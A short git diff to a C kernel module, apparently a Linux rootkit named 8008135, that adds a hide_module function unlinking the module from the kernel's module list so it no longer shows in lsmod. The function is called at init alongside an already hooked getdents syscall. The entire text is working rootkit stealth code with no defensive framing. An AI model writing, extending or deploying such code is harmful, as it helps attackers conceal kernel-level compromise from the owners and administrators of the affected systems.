diff --git a/src/8008135.c b/src/8008135.c index cf253f5..1cd7551 100644 --- a/src/8008135.c +++ b/src/8008135.c @@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd, return ret; } + +/*** FUNCTION **************************************************************** +* NAME: hide_module +* DESCRIPTION: hides the module from lsmod +* PARAMETERS: - +* RETURNS: +*******************************************************************************/ +void hide_module(void){ + list_del(&THIS_MODULE->list); +} + + /*** FUNCTION **************************************************************** * NAME: 8008135_init * DESCRIPTION: initializing Kernel Module @@ -108,6 +120,9 @@ static int __init init_8008135(void) { printk(KERN_INFO "New syscall in place\n"); + hide_module(); + printk(KERN_INFO "Module hidden"); + return 0; }